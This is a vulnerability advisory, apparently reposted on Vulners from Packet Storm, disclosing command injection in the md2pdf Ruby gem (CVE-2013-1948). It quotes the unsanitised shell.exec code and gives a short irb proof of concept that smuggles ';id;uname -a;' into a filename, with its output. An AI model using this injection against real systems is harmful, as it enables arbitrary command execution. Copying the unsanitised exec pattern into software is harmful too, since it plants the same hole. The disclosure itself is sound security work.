Lucene search
K

Ruby Gem md2pdf Command Injection

🗓️ 15 Apr 2013 00:00:00Reported by Larry W. CashdollarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 74 Views

Remote command injection vulnerability in md2pdf Ruby Gem

Related
Code
`Remote command injection md2pdf ruby gem  
4/10/2013  
  
Description: "creates pdf documents from markdown documents"  
  
https://rubygems.org/gems/md2pdf  
  
In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.  
  
12 shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")  
  
23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} output #{output_filename}")  
  
Where exec is defined as the following:  
  
37 def exec(command_line)  
38 require 'open3'  
39 stdin, stdout, stderr = Open3.popen3(command_line)  
40 return stdout.read  
41 end  
  
PoC Notes:  
  
irb(main):001:0> require 'open3'  
=> true  
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')  
=> [#, #, #]  
irb(main):003:0> puts stdout.read  
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)  
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux  
=> nil  
  
http://vapid.dhs.org/advisories/md2pdf-remote-exec.html  
  
  
This vulnerability has been assigned: CVE-2013-1948  
  
Larry W. Cashdollar  
@_larry0  
  
  
  
CVE-2013-1948  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Apr 2013 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.01745
74